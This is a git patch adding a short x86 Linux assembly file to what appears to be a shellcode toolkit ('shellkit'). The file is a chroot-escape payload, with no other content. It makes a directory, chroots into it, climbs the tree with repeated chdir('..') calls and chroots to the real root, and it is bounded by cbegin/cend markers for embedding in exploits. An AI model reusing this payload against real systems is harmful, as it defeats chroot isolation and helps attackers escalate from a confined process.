From c9cbeced5b3f2bdd7407e29c0811e65954132540 Mon Sep 17 00:00:00 2001 From: Root THC Date: Tue, 24 Feb 2026 12:42:47 +0000 Subject: initial --- other/shellkit/x86_linux/chroot.s | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 other/shellkit/x86_linux/chroot.s (limited to 'other/shellkit/x86_linux/chroot.s') diff --git a/other/shellkit/x86_linux/chroot.s b/other/shellkit/x86_linux/chroot.s new file mode 100644 index 0000000..dd7e878 --- /dev/null +++ b/other/shellkit/x86_linux/chroot.s @@ -0,0 +1,34 @@ + .globl cbegin + .globl cend + + +cbegin: +/* mkdir AA.. */ + cdq + movl $0x73507350, %ecx + push %eax + push $0x2e2e4141 + movl %esp, %ebx + movb $0x27, %al + int $0x80 + +/* chroot AA.. */ + movb $0x3d, %al + int $0x80 + +/* chdir .. x 5 */ + addb $0x2, %bl + +cd_loop: + incb %dl + movb $0xc, %al + int $0x80 + cmp $0x6a, %dl + jne cd_loop + +/* chroot . */ + incb %bl + movb $0x3d, %al + int $0x80 +cend: + -- cgit v1.3